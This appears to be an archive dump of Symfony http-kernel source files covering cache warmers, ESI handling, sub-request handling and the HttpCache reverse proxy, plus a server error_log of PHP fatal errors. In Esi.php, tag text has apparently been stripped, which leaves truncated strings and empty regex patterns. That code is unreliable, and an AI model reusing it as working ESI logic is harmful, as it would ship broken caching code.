self::REQUEST, ViewEvent::class => self::VIEW, ExceptionEvent::class => self::EXCEPTION, TerminateEvent::class => self::TERMINATE, ]; } http-kernel/CacheWarmer/CacheWarmerAggregate.php000064400000010774151113511630015671 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\CacheWarmer; use Symfony\Component\Console\Style\SymfonyStyle; /** * Aggregates several cache warmers into a single one. * * @author Fabien Potencier * * @final */ class CacheWarmerAggregate implements CacheWarmerInterface { private iterable $warmers; private bool $debug; private ?string $deprecationLogsFilepath; private bool $optionalsEnabled = false; private bool $onlyOptionalsEnabled = false; /** * @param iterable $warmers */ public function __construct(iterable $warmers = [], bool $debug = false, string $deprecationLogsFilepath = null) { $this->warmers = $warmers; $this->debug = $debug; $this->deprecationLogsFilepath = $deprecationLogsFilepath; } public function enableOptionalWarmers(): void { $this->optionalsEnabled = true; } public function enableOnlyOptionalWarmers(): void { $this->onlyOptionalsEnabled = $this->optionalsEnabled = true; } public function warmUp(string $cacheDir, SymfonyStyle $io = null): array { if ($collectDeprecations = $this->debug && !\defined('PHPUNIT_COMPOSER_INSTALL')) { $collectedLogs = []; $previousHandler = set_error_handler(function ($type, $message, $file, $line) use (&$collectedLogs, &$previousHandler) { if (\E_USER_DEPRECATED !== $type && \E_DEPRECATED !== $type) { return $previousHandler ? $previousHandler($type, $message, $file, $line) : false; } if (isset($collectedLogs[$message])) { ++$collectedLogs[$message]['count']; return null; } $backtrace = debug_backtrace(\DEBUG_BACKTRACE_IGNORE_ARGS, 3); // Clean the trace by removing first frames added by the error handler itself. for ($i = 0; isset($backtrace[$i]); ++$i) { if (isset($backtrace[$i]['file'], $backtrace[$i]['line']) && $backtrace[$i]['line'] === $line && $backtrace[$i]['file'] === $file) { $backtrace = \array_slice($backtrace, 1 + $i); break; } } $collectedLogs[$message] = [ 'type' => $type, 'message' => $message, 'file' => $file, 'line' => $line, 'trace' => $backtrace, 'count' => 1, ]; return null; }); } $preload = []; try { foreach ($this->warmers as $warmer) { if (!$this->optionalsEnabled && $warmer->isOptional()) { continue; } if ($this->onlyOptionalsEnabled && !$warmer->isOptional()) { continue; } $start = microtime(true); foreach ((array) $warmer->warmUp($cacheDir) as $item) { if (is_dir($item) || (str_starts_with($item, \dirname($cacheDir)) && !is_file($item))) { throw new \LogicException(sprintf('"%s::warmUp()" should return a list of files or classes but "%s" is none of them.', $warmer::class, $item)); } $preload[] = $item; } if ($io?->isDebug()) { $io->info(sprintf('"%s" completed in %0.2fms.', $warmer::class, 1000 * (microtime(true) - $start))); } } } finally { if ($collectDeprecations) { restore_error_handler(); if (is_file($this->deprecationLogsFilepath)) { $previousLogs = unserialize(file_get_contents($this->deprecationLogsFilepath)); if (\is_array($previousLogs)) { $collectedLogs = array_merge($previousLogs, $collectedLogs); } } file_put_contents($this->deprecationLogsFilepath, serialize(array_values($collectedLogs))); } } return array_values(array_unique($preload)); } public function isOptional(): bool { return false; } } http-kernel/CacheWarmer/CacheWarmerInterface.php000064400000001404151113511640015672 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\CacheWarmer; /** * Interface for classes able to warm up the cache. * * @author Fabien Potencier */ interface CacheWarmerInterface extends WarmableInterface { /** * Checks whether this warmer is optional or not. * * Optional warmers can be ignored on certain conditions. * * A warmer should return true if the cache can be * generated incrementally and on-demand. * * @return bool */ public function isOptional(); } http-kernel/CacheWarmer/CacheWarmer.php000064400000001622151113511640014053 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\CacheWarmer; /** * Abstract cache warmer that knows how to write a file to the cache. * * @author Fabien Potencier */ abstract class CacheWarmer implements CacheWarmerInterface { /** * @return void */ protected function writeCacheFile(string $file, $content) { $tmpFile = @tempnam(\dirname($file), basename($file)); if (false !== @file_put_contents($tmpFile, $content) && @rename($tmpFile, $file)) { @chmod($file, 0666 & ~umask()); return; } throw new \RuntimeException(sprintf('Failed to write cache file "%s".', $file)); } } http-kernel/CacheWarmer/error_log000064400000006644151113511640013107 0ustar00[19-Nov-2025 18:14:26 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\CacheWarmer\CacheWarmerInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/CacheWarmer/CacheWarmerAggregate.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/CacheWarmer/CacheWarmerAggregate.php on line 23 [19-Nov-2025 18:16:05 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\CacheWarmer\WarmableInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/CacheWarmer/CacheWarmerInterface.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/CacheWarmer/CacheWarmerInterface.php on line 19 [19-Nov-2025 18:22:53 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\CacheWarmer\CacheWarmerInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/CacheWarmer/CacheWarmer.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/CacheWarmer/CacheWarmer.php on line 19 [25-Nov-2025 02:32:11 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\CacheWarmer\WarmableInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/CacheWarmer/CacheWarmerInterface.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/CacheWarmer/CacheWarmerInterface.php on line 19 [25-Nov-2025 02:33:18 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\CacheWarmer\CacheWarmerInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/CacheWarmer/CacheWarmerAggregate.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/CacheWarmer/CacheWarmerAggregate.php on line 23 [25-Nov-2025 02:55:42 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\CacheWarmer\CacheWarmerInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/CacheWarmer/CacheWarmer.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/CacheWarmer/CacheWarmer.php on line 19 [25-Nov-2025 23:09:15 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\CacheWarmer\CacheWarmerInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/CacheWarmer/CacheWarmer.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/CacheWarmer/CacheWarmer.php on line 19 [26-Nov-2025 01:35:53 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\CacheWarmer\WarmableInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/CacheWarmer/CacheWarmerInterface.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/CacheWarmer/CacheWarmerInterface.php on line 19 [26-Nov-2025 01:56:10 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\CacheWarmer\CacheWarmerInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/CacheWarmer/CacheWarmerAggregate.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/CacheWarmer/CacheWarmerAggregate.php on line 23 http-kernel/CacheWarmer/WarmableInterface.php000064400000001144151113511640015244 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\CacheWarmer; /** * Interface for classes that support warming their cache. * * @author Fabien Potencier */ interface WarmableInterface { /** * Warms up the cache. * * @return string[] A list of classes or files to preload on PHP 7.4+ */ public function warmUp(string $cacheDir); } http-kernel/HttpCache/Esi.php000064400000006362151113511640012102 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\HttpCache; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; /** * Esi implements the ESI capabilities to Request and Response instances. * * For more information, read the following W3C notes: * * * ESI Language Specification 1.0 (http://www.w3.org/TR/esi-lang) * * * Edge Architecture Specification (http://www.w3.org/TR/edge-arch) * * @author Fabien Potencier */ class Esi extends AbstractSurrogate { public function getName(): string { return 'esi'; } /** * @return void */ public function addSurrogateControl(Response $response) { if (str_contains($response->getContent(), 'headers->set('Surrogate-Control', 'content="ESI/1.0"'); } } public function renderIncludeTag(string $uri, string $alt = null, bool $ignoreErrors = true, string $comment = ''): string { $html = sprintf('', $uri, $ignoreErrors ? ' onerror="continue"' : '', $alt ? sprintf(' alt="%s"', $alt) : '' ); if (!empty($comment)) { return sprintf("\n%s", $comment, $html); } return $html; } public function process(Request $request, Response $response): Response { $type = $response->headers->get('Content-Type'); if (empty($type)) { $type = 'text/html'; } $parts = explode(';', $type); if (!\in_array($parts[0], $this->contentTypes)) { return $response; } // we don't use a proper XML parser here as we can have ESI tags in a plain text response $content = $response->getContent(); $content = preg_replace('#.*?#s', '', $content); $content = preg_replace('#]+>#s', '', $content); $boundary = self::generateBodyEvalBoundary(); $chunks = preg_split('##', $content, -1, \PREG_SPLIT_DELIM_CAPTURE); $i = 1; while (isset($chunks[$i])) { $options = []; preg_match_all('/(src|onerror|alt)="([^"]*?)"/', $chunks[$i], $matches, \PREG_SET_ORDER); foreach ($matches as $set) { $options[$set[1]] = $set[2]; } if (!isset($options['src'])) { throw new \RuntimeException('Unable to process an ESI tag without a "src" attribute.'); } $chunks[$i] = $boundary.$options['src']."\n".($options['alt'] ?? '')."\n".('continue' === ($options['onerror'] ?? ''))."\n"; $i += 2; } $content = $boundary.implode('', $chunks).$boundary; $response->setContent($content); $response->headers->set('X-Body-Eval', 'ESI'); // remove ESI/1.0 from the Surrogate-Control header $this->removeFromControl($response); return $response; } } http-kernel/HttpCache/SubRequestHandler.php000064400000007521151113511640014760 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\HttpCache; use Symfony\Component\HttpFoundation\IpUtils; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpKernel\HttpKernelInterface; /** * @author Nicolas Grekas * * @internal */ class SubRequestHandler { public static function handle(HttpKernelInterface $kernel, Request $request, int $type, bool $catch): Response { // save global state related to trusted headers and proxies $trustedProxies = Request::getTrustedProxies(); $trustedHeaderSet = Request::getTrustedHeaderSet(); // remove untrusted values $remoteAddr = $request->server->get('REMOTE_ADDR'); if (!$remoteAddr || !IpUtils::checkIp($remoteAddr, $trustedProxies)) { $trustedHeaders = [ 'FORWARDED' => $trustedHeaderSet & Request::HEADER_FORWARDED, 'X_FORWARDED_FOR' => $trustedHeaderSet & Request::HEADER_X_FORWARDED_FOR, 'X_FORWARDED_HOST' => $trustedHeaderSet & Request::HEADER_X_FORWARDED_HOST, 'X_FORWARDED_PROTO' => $trustedHeaderSet & Request::HEADER_X_FORWARDED_PROTO, 'X_FORWARDED_PORT' => $trustedHeaderSet & Request::HEADER_X_FORWARDED_PORT, 'X_FORWARDED_PREFIX' => $trustedHeaderSet & Request::HEADER_X_FORWARDED_PREFIX, ]; foreach (array_filter($trustedHeaders) as $name => $key) { $request->headers->remove($name); $request->server->remove('HTTP_'.$name); } } // compute trusted values, taking any trusted proxies into account $trustedIps = []; $trustedValues = []; foreach (array_reverse($request->getClientIps()) as $ip) { $trustedIps[] = $ip; $trustedValues[] = sprintf('for="%s"', $ip); } if ($ip !== $remoteAddr) { $trustedIps[] = $remoteAddr; $trustedValues[] = sprintf('for="%s"', $remoteAddr); } // set trusted values, reusing as much as possible the global trusted settings if (Request::HEADER_FORWARDED & $trustedHeaderSet) { $trustedValues[0] .= sprintf(';host="%s";proto=%s', $request->getHttpHost(), $request->getScheme()); $request->headers->set('Forwarded', $v = implode(', ', $trustedValues)); $request->server->set('HTTP_FORWARDED', $v); } if (Request::HEADER_X_FORWARDED_FOR & $trustedHeaderSet) { $request->headers->set('X-Forwarded-For', $v = implode(', ', $trustedIps)); $request->server->set('HTTP_X_FORWARDED_FOR', $v); } elseif (!(Request::HEADER_FORWARDED & $trustedHeaderSet)) { Request::setTrustedProxies($trustedProxies, $trustedHeaderSet | Request::HEADER_X_FORWARDED_FOR); $request->headers->set('X-Forwarded-For', $v = implode(', ', $trustedIps)); $request->server->set('HTTP_X_FORWARDED_FOR', $v); } // fix the client IP address by setting it to 127.0.0.1, // which is the core responsibility of this method $request->server->set('REMOTE_ADDR', '127.0.0.1'); // ensure 127.0.0.1 is set as trusted proxy if (!IpUtils::checkIp('127.0.0.1', $trustedProxies)) { Request::setTrustedProxies(array_merge($trustedProxies, ['127.0.0.1']), Request::getTrustedHeaderSet()); } try { return $kernel->handle($request, $type, $catch); } finally { // restore global state Request::setTrustedProxies($trustedProxies, $trustedHeaderSet); } } } http-kernel/HttpCache/ResponseCacheStrategyInterface.php000064400000002037151113511640017443 0ustar00 * * This code is partially based on the Rack-Cache library by Ryan Tomayko, * which is released under the MIT license. * (based on commit 02d2b48d75bcb63cf1c0c7149c077ad256542801) * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\HttpCache; use Symfony\Component\HttpFoundation\Response; /** * ResponseCacheStrategyInterface implementations know how to compute the * Response cache HTTP header based on the different response cache headers. * * @author Fabien Potencier */ interface ResponseCacheStrategyInterface { /** * Adds a Response. * * @return void */ public function add(Response $response); /** * Updates the Response HTTP headers based on the embedded Responses. * * @return void */ public function update(Response $response); } http-kernel/HttpCache/HttpCache.php000064400000065540151113511640013230 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ /* * This code is partially based on the Rack-Cache library by Ryan Tomayko, * which is released under the MIT license. * (based on commit 02d2b48d75bcb63cf1c0c7149c077ad256542801) */ namespace Symfony\Component\HttpKernel\HttpCache; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpKernel\HttpKernelInterface; use Symfony\Component\HttpKernel\TerminableInterface; /** * Cache provides HTTP caching. * * @author Fabien Potencier */ class HttpCache implements HttpKernelInterface, TerminableInterface { public const BODY_EVAL_BOUNDARY_LENGTH = 24; private HttpKernelInterface $kernel; private StoreInterface $store; private Request $request; private ?SurrogateInterface $surrogate; private ?ResponseCacheStrategyInterface $surrogateCacheStrategy = null; private array $options = []; private array $traces = []; /** * Constructor. * * The available options are: * * * debug If true, exceptions are thrown when things go wrong. Otherwise, the cache * will try to carry on and deliver a meaningful response. * * * trace_level May be one of 'none', 'short' and 'full'. For 'short', a concise trace of the * main request will be added as an HTTP header. 'full' will add traces for all * requests (including ESI subrequests). (default: 'full' if in debug; 'none' otherwise) * * * trace_header Header name to use for traces. (default: X-Symfony-Cache) * * * default_ttl The number of seconds that a cache entry should be considered * fresh when no explicit freshness information is provided in * a response. Explicit Cache-Control or Expires headers * override this value. (default: 0) * * * private_headers Set of request headers that trigger "private" cache-control behavior * on responses that don't explicitly state whether the response is * public or private via a Cache-Control directive. (default: Authorization and Cookie) * * * skip_response_headers Set of response headers that are never cached even if a response is cacheable (public). * (default: Set-Cookie) * * * allow_reload Specifies whether the client can force a cache reload by including a * Cache-Control "no-cache" directive in the request. Set it to ``true`` * for compliance with RFC 2616. (default: false) * * * allow_revalidate Specifies whether the client can force a cache revalidate by including * a Cache-Control "max-age=0" directive in the request. Set it to ``true`` * for compliance with RFC 2616. (default: false) * * * stale_while_revalidate Specifies the default number of seconds (the granularity is the second as the * Response TTL precision is a second) during which the cache can immediately return * a stale response while it revalidates it in the background (default: 2). * This setting is overridden by the stale-while-revalidate HTTP Cache-Control * extension (see RFC 5861). * * * stale_if_error Specifies the default number of seconds (the granularity is the second) during which * the cache can serve a stale response when an error is encountered (default: 60). * This setting is overridden by the stale-if-error HTTP Cache-Control extension * (see RFC 5861). * * * terminate_on_cache_hit Specifies if the kernel.terminate event should be dispatched even when the cache * was hit (default: true). * Unless your application needs to process events on cache hits, it is recommended * to set this to false to avoid having to bootstrap the Symfony framework on a cache hit. */ public function __construct(HttpKernelInterface $kernel, StoreInterface $store, SurrogateInterface $surrogate = null, array $options = []) { $this->store = $store; $this->kernel = $kernel; $this->surrogate = $surrogate; // needed in case there is a fatal error because the backend is too slow to respond register_shutdown_function($this->store->cleanup(...)); $this->options = array_merge([ 'debug' => false, 'default_ttl' => 0, 'private_headers' => ['Authorization', 'Cookie'], 'skip_response_headers' => ['Set-Cookie'], 'allow_reload' => false, 'allow_revalidate' => false, 'stale_while_revalidate' => 2, 'stale_if_error' => 60, 'trace_level' => 'none', 'trace_header' => 'X-Symfony-Cache', 'terminate_on_cache_hit' => true, ], $options); if (!isset($options['trace_level'])) { $this->options['trace_level'] = $this->options['debug'] ? 'full' : 'none'; } } /** * Gets the current store. */ public function getStore(): StoreInterface { return $this->store; } /** * Returns an array of events that took place during processing of the last request. */ public function getTraces(): array { return $this->traces; } private function addTraces(Response $response): void { $traceString = null; if ('full' === $this->options['trace_level']) { $traceString = $this->getLog(); } if ('short' === $this->options['trace_level'] && $masterId = array_key_first($this->traces)) { $traceString = implode('/', $this->traces[$masterId]); } if (null !== $traceString) { $response->headers->add([$this->options['trace_header'] => $traceString]); } } /** * Returns a log message for the events of the last request processing. */ public function getLog(): string { $log = []; foreach ($this->traces as $request => $traces) { $log[] = sprintf('%s: %s', $request, implode(', ', $traces)); } return implode('; ', $log); } /** * Gets the Request instance associated with the main request. */ public function getRequest(): Request { return $this->request; } /** * Gets the Kernel instance. */ public function getKernel(): HttpKernelInterface { return $this->kernel; } /** * Gets the Surrogate instance. * * @throws \LogicException */ public function getSurrogate(): SurrogateInterface { return $this->surrogate; } public function handle(Request $request, int $type = HttpKernelInterface::MAIN_REQUEST, bool $catch = true): Response { // FIXME: catch exceptions and implement a 500 error page here? -> in Varnish, there is a built-in error page mechanism if (HttpKernelInterface::MAIN_REQUEST === $type) { $this->traces = []; // Keep a clone of the original request for surrogates so they can access it. // We must clone here to get a separate instance because the application will modify the request during // the application flow (we know it always does because we do ourselves by setting REMOTE_ADDR to 127.0.0.1 // and adding the X-Forwarded-For header, see HttpCache::forward()). $this->request = clone $request; if (null !== $this->surrogate) { $this->surrogateCacheStrategy = $this->surrogate->createCacheStrategy(); } } $this->traces[$this->getTraceKey($request)] = []; if (!$request->isMethodSafe()) { $response = $this->invalidate($request, $catch); } elseif ($request->headers->has('expect') || !$request->isMethodCacheable()) { $response = $this->pass($request, $catch); } elseif ($this->options['allow_reload'] && $request->isNoCache()) { /* If allow_reload is configured and the client requests "Cache-Control: no-cache", reload the cache by fetching a fresh response and caching it (if possible). */ $this->record($request, 'reload'); $response = $this->fetch($request, $catch); } else { $response = $this->lookup($request, $catch); } $this->restoreResponseBody($request, $response); if (HttpKernelInterface::MAIN_REQUEST === $type) { $this->addTraces($response); } if (null !== $this->surrogate) { if (HttpKernelInterface::MAIN_REQUEST === $type) { $this->surrogateCacheStrategy->update($response); } else { $this->surrogateCacheStrategy->add($response); } } $response->prepare($request); $response->isNotModified($request); return $response; } /** * @return void */ public function terminate(Request $request, Response $response) { // Do not call any listeners in case of a cache hit. // This ensures identical behavior as if you had a separate // reverse caching proxy such as Varnish and the like. if ($this->options['terminate_on_cache_hit']) { trigger_deprecation('symfony/http-kernel', '6.2', 'Setting "terminate_on_cache_hit" to "true" is deprecated and will be changed to "false" in Symfony 7.0.'); } elseif (\in_array('fresh', $this->traces[$this->getTraceKey($request)] ?? [], true)) { return; } if ($this->getKernel() instanceof TerminableInterface) { $this->getKernel()->terminate($request, $response); } } /** * Forwards the Request to the backend without storing the Response in the cache. * * @param bool $catch Whether to process exceptions */ protected function pass(Request $request, bool $catch = false): Response { $this->record($request, 'pass'); return $this->forward($request, $catch); } /** * Invalidates non-safe methods (like POST, PUT, and DELETE). * * @param bool $catch Whether to process exceptions * * @throws \Exception * * @see RFC2616 13.10 */ protected function invalidate(Request $request, bool $catch = false): Response { $response = $this->pass($request, $catch); // invalidate only when the response is successful if ($response->isSuccessful() || $response->isRedirect()) { try { $this->store->invalidate($request); // As per the RFC, invalidate Location and Content-Location URLs if present foreach (['Location', 'Content-Location'] as $header) { if ($uri = $response->headers->get($header)) { $subRequest = Request::create($uri, 'get', [], [], [], $request->server->all()); $this->store->invalidate($subRequest); } } $this->record($request, 'invalidate'); } catch (\Exception $e) { $this->record($request, 'invalidate-failed'); if ($this->options['debug']) { throw $e; } } } return $response; } /** * Lookups a Response from the cache for the given Request. * * When a matching cache entry is found and is fresh, it uses it as the * response without forwarding any request to the backend. When a matching * cache entry is found but is stale, it attempts to "validate" the entry with * the backend using conditional GET. When no matching cache entry is found, * it triggers "miss" processing. * * @param bool $catch Whether to process exceptions * * @throws \Exception */ protected function lookup(Request $request, bool $catch = false): Response { try { $entry = $this->store->lookup($request); } catch (\Exception $e) { $this->record($request, 'lookup-failed'); if ($this->options['debug']) { throw $e; } return $this->pass($request, $catch); } if (null === $entry) { $this->record($request, 'miss'); return $this->fetch($request, $catch); } if (!$this->isFreshEnough($request, $entry)) { $this->record($request, 'stale'); return $this->validate($request, $entry, $catch); } if ($entry->headers->hasCacheControlDirective('no-cache')) { return $this->validate($request, $entry, $catch); } $this->record($request, 'fresh'); $entry->headers->set('Age', $entry->getAge()); return $entry; } /** * Validates that a cache entry is fresh. * * The original request is used as a template for a conditional * GET request with the backend. * * @param bool $catch Whether to process exceptions */ protected function validate(Request $request, Response $entry, bool $catch = false): Response { $subRequest = clone $request; // send no head requests because we want content if ('HEAD' === $request->getMethod()) { $subRequest->setMethod('GET'); } // add our cached last-modified validator if ($entry->headers->has('Last-Modified')) { $subRequest->headers->set('If-Modified-Since', $entry->headers->get('Last-Modified')); } // Add our cached etag validator to the environment. // We keep the etags from the client to handle the case when the client // has a different private valid entry which is not cached here. $cachedEtags = $entry->getEtag() ? [$entry->getEtag()] : []; $requestEtags = $request->getETags(); if ($etags = array_unique(array_merge($cachedEtags, $requestEtags))) { $subRequest->headers->set('If-None-Match', implode(', ', $etags)); } $response = $this->forward($subRequest, $catch, $entry); if (304 == $response->getStatusCode()) { $this->record($request, 'valid'); // return the response and not the cache entry if the response is valid but not cached $etag = $response->getEtag(); if ($etag && \in_array($etag, $requestEtags) && !\in_array($etag, $cachedEtags)) { return $response; } $entry = clone $entry; $entry->headers->remove('Date'); foreach (['Date', 'Expires', 'Cache-Control', 'ETag', 'Last-Modified'] as $name) { if ($response->headers->has($name)) { $entry->headers->set($name, $response->headers->get($name)); } } $response = $entry; } else { $this->record($request, 'invalid'); } if ($response->isCacheable()) { $this->store($request, $response); } return $response; } /** * Unconditionally fetches a fresh response from the backend and * stores it in the cache if is cacheable. * * @param bool $catch Whether to process exceptions */ protected function fetch(Request $request, bool $catch = false): Response { $subRequest = clone $request; // send no head requests because we want content if ('HEAD' === $request->getMethod()) { $subRequest->setMethod('GET'); } // avoid that the backend sends no content $subRequest->headers->remove('If-Modified-Since'); $subRequest->headers->remove('If-None-Match'); $response = $this->forward($subRequest, $catch); if ($response->isCacheable()) { $this->store($request, $response); } return $response; } /** * Forwards the Request to the backend and returns the Response. * * All backend requests (cache passes, fetches, cache validations) * run through this method. * * @param bool $catch Whether to catch exceptions or not * @param Response|null $entry A Response instance (the stale entry if present, null otherwise) * * @return Response */ protected function forward(Request $request, bool $catch = false, Response $entry = null) { $this->surrogate?->addSurrogateCapability($request); // always a "master" request (as the real master request can be in cache) $response = SubRequestHandler::handle($this->kernel, $request, HttpKernelInterface::MAIN_REQUEST, $catch); /* * Support stale-if-error given on Responses or as a config option. * RFC 7234 summarizes in Section 4.2.4 (but also mentions with the individual * Cache-Control directives) that * * A cache MUST NOT generate a stale response if it is prohibited by an * explicit in-protocol directive (e.g., by a "no-store" or "no-cache" * cache directive, a "must-revalidate" cache-response-directive, or an * applicable "s-maxage" or "proxy-revalidate" cache-response-directive; * see Section 5.2.2). * * https://tools.ietf.org/html/rfc7234#section-4.2.4 * * We deviate from this in one detail, namely that we *do* serve entries in the * stale-if-error case even if they have a `s-maxage` Cache-Control directive. */ if (null !== $entry && \in_array($response->getStatusCode(), [500, 502, 503, 504]) && !$entry->headers->hasCacheControlDirective('no-cache') && !$entry->mustRevalidate() ) { if (null === $age = $entry->headers->getCacheControlDirective('stale-if-error')) { $age = $this->options['stale_if_error']; } /* * stale-if-error gives the (extra) time that the Response may be used *after* it has become stale. * So we compare the time the $entry has been sitting in the cache already with the * time it was fresh plus the allowed grace period. */ if ($entry->getAge() <= $entry->getMaxAge() + $age) { $this->record($request, 'stale-if-error'); return $entry; } } /* RFC 7231 Sect. 7.1.1.2 says that a server that does not have a reasonably accurate clock MUST NOT send a "Date" header, although it MUST send one in most other cases except for 1xx or 5xx responses where it MAY do so. Anyway, a client that received a message without a "Date" header MUST add it. */ if (!$response->headers->has('Date')) { $response->setDate(\DateTimeImmutable::createFromFormat('U', time())); } $this->processResponseBody($request, $response); if ($this->isPrivateRequest($request) && !$response->headers->hasCacheControlDirective('public')) { $response->setPrivate(); } elseif ($this->options['default_ttl'] > 0 && null === $response->getTtl() && !$response->headers->getCacheControlDirective('must-revalidate')) { $response->setTtl($this->options['default_ttl']); } return $response; } /** * Checks whether the cache entry is "fresh enough" to satisfy the Request. */ protected function isFreshEnough(Request $request, Response $entry): bool { if (!$entry->isFresh()) { return $this->lock($request, $entry); } if ($this->options['allow_revalidate'] && null !== $maxAge = $request->headers->getCacheControlDirective('max-age')) { return $maxAge > 0 && $maxAge >= $entry->getAge(); } return true; } /** * Locks a Request during the call to the backend. * * @return bool true if the cache entry can be returned even if it is staled, false otherwise */ protected function lock(Request $request, Response $entry): bool { // try to acquire a lock to call the backend $lock = $this->store->lock($request); if (true === $lock) { // we have the lock, call the backend return false; } // there is already another process calling the backend // May we serve a stale response? if ($this->mayServeStaleWhileRevalidate($entry)) { $this->record($request, 'stale-while-revalidate'); return true; } // wait for the lock to be released if ($this->waitForLock($request)) { // replace the current entry with the fresh one $new = $this->lookup($request); $entry->headers = $new->headers; $entry->setContent($new->getContent()); $entry->setStatusCode($new->getStatusCode()); $entry->setProtocolVersion($new->getProtocolVersion()); foreach ($new->headers->getCookies() as $cookie) { $entry->headers->setCookie($cookie); } } else { // backend is slow as hell, send a 503 response (to avoid the dog pile effect) $entry->setStatusCode(503); $entry->setContent('503 Service Unavailable'); $entry->headers->set('Retry-After', 10); } return true; } /** * Writes the Response to the cache. * * @return void * * @throws \Exception */ protected function store(Request $request, Response $response) { try { $restoreHeaders = []; foreach ($this->options['skip_response_headers'] as $header) { if (!$response->headers->has($header)) { continue; } $restoreHeaders[$header] = $response->headers->all($header); $response->headers->remove($header); } $this->store->write($request, $response); $this->record($request, 'store'); $response->headers->set('Age', $response->getAge()); } catch (\Exception $e) { $this->record($request, 'store-failed'); if ($this->options['debug']) { throw $e; } } finally { foreach ($restoreHeaders as $header => $values) { $response->headers->set($header, $values); } } // now that the response is cached, release the lock $this->store->unlock($request); } /** * Restores the Response body. */ private function restoreResponseBody(Request $request, Response $response): void { if ($response->headers->has('X-Body-Eval')) { \assert(self::BODY_EVAL_BOUNDARY_LENGTH === 24); ob_start(); $content = $response->getContent(); $boundary = substr($content, 0, 24); $j = strpos($content, $boundary, 24); echo substr($content, 24, $j - 24); $i = $j + 24; while (false !== $j = strpos($content, $boundary, $i)) { [$uri, $alt, $ignoreErrors, $part] = explode("\n", substr($content, $i, $j - $i), 4); $i = $j + 24; echo $this->surrogate->handle($this, $uri, $alt, $ignoreErrors); echo $part; } $response->setContent(ob_get_clean()); $response->headers->remove('X-Body-Eval'); if (!$response->headers->has('Transfer-Encoding')) { $response->headers->set('Content-Length', \strlen($response->getContent())); } } elseif ($response->headers->has('X-Body-File')) { // Response does not include possibly dynamic content (ESI, SSI), so we need // not handle the content for HEAD requests if (!$request->isMethod('HEAD')) { $response->setContent(file_get_contents($response->headers->get('X-Body-File'))); } } else { return; } $response->headers->remove('X-Body-File'); } /** * @return void */ protected function processResponseBody(Request $request, Response $response) { if ($this->surrogate?->needsParsing($response)) { $this->surrogate->process($request, $response); } } /** * Checks if the Request includes authorization or other sensitive information * that should cause the Response to be considered private by default. */ private function isPrivateRequest(Request $request): bool { foreach ($this->options['private_headers'] as $key) { $key = strtolower(str_replace('HTTP_', '', $key)); if ('cookie' === $key) { if (\count($request->cookies->all())) { return true; } } elseif ($request->headers->has($key)) { return true; } } return false; } /** * Records that an event took place. */ private function record(Request $request, string $event): void { $this->traces[$this->getTraceKey($request)][] = $event; } /** * Calculates the key we use in the "trace" array for a given request. */ private function getTraceKey(Request $request): string { $path = $request->getPathInfo(); if ($qs = $request->getQueryString()) { $path .= '?'.$qs; } return $request->getMethod().' '.$path; } /** * Checks whether the given (cached) response may be served as "stale" when a revalidation * is currently in progress. */ private function mayServeStaleWhileRevalidate(Response $entry): bool { $timeout = $entry->headers->getCacheControlDirective('stale-while-revalidate'); $timeout ??= $this->options['stale_while_revalidate']; $age = $entry->getAge(); $maxAge = $entry->getMaxAge() ?? 0; $ttl = $maxAge - $age; return abs($ttl) < $timeout; } /** * Waits for the store to release a locked entry. */ private function waitForLock(Request $request): bool { $wait = 0; while ($this->store->isLocked($request) && $wait < 100) { usleep(50000); ++$wait; } return $wait < 100; } } 